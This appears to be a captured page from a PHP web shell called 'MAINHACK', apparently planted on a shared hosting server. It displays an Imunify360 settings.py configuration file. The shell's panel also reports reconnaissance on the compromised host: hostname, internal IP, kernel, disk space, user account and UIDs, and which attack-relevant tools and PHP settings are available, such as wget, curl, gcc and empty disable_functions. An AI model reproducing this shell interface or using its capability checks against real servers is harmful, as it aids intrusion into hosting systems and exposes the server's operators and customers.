[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: settings.py
File is not writable. Editing disabled.
"""Additional changes, which need to use RPC/CLI schemas. """ from pathlib import Path from imav.application.settings import ( configure as base_configure, get_schema_paths as base_get_schema_paths, ) from imav.malwarelib.subsys import aibolit import im360.model.update_hooks import im360.subsys.ossec import im360.subsys.panels.update_hooks import im360.subsys.proactive import im360.subsys.webshield from defence360agent import files as base_files from defence360agent.model import infected_domain from im360 import files from im360.application import tags from im360.model import ( country, firewall, incident, messages_to_send, proactive, ) from im360.simple_rpc.schema import init_validator from im360.simple_rpc.validate import SchemaValidator, validate_middleware def get_schema_paths(): path = Path(__file__).parent.parent.absolute() schema_paths = base_get_schema_paths(full=True) + (path / "simple_rpc",) return schema_paths def setup_file_hooks() -> None: files.Index.add_hook(files.GEO, im360.model.update_hooks.update_geodb) files.Index.add_hook( files.MODSEC, im360.subsys.panels.update_hooks.update_vendors ) files.Index.add_hook(files.OSSEC, im360.subsys.ossec.on_files_update) files.Index.add_hook( files.IP_RECORD, im360.subsys.panels.update_hooks.update_iprecord ) files.Index.add_hook( files.WHITELISTS, im360.subsys.webshield.update_internal_whitelist ) files.Index.add_hook( files.PHP_IMMUNITY, im360.subsys.proactive.update_hook ) files.Index.add_hook( files.PHP_IMMUNITY_V2, im360.subsys.proactive.update_hook_immunity_v2 ) files.Index.add_hook( files.PROACTIVE, im360.subsys.proactive.recreate_signatures_on_update ) files.Index.add_hook( files.SIGS, aibolit.restart_on_sigs_or_config_update, ) files.DEFAULT_HOOKS[files.AUDITD_CONF] = Path( "/usr/sbin/imunify-auditd-log-reader-cfg-reload" ) files.DEFAULT_HOOKS[files.EMAIL_RULES_V1] = Path("/usr/sbin/ie_ruleupdate") files.DEFAULT_HOOKS[files.PROACTIVE_CONFIG] = Path( "/usr/bin/i360-sync-config.sh" ) def configure(set_sentry_tags=tags.fill): im360_path = Path(__file__).resolve().parent.parent base_configure( init_validator=init_validator, validator_cls=SchemaValidator, validate_middleware_wrap=validate_middleware, schema_paths=get_schema_paths(), models_modules=[ country, firewall, incident, infected_domain, messages_to_send, proactive, ], set_sentry_tags=set_sentry_tags, migration_dirs=[im360_path / "migrations"], ) files.Index.add_hook( base_files.REALTIME_AV_CONF, aibolit.restart_on_sigs_or_config_update, ) files.configure() setup_file_hooks()
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.14 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A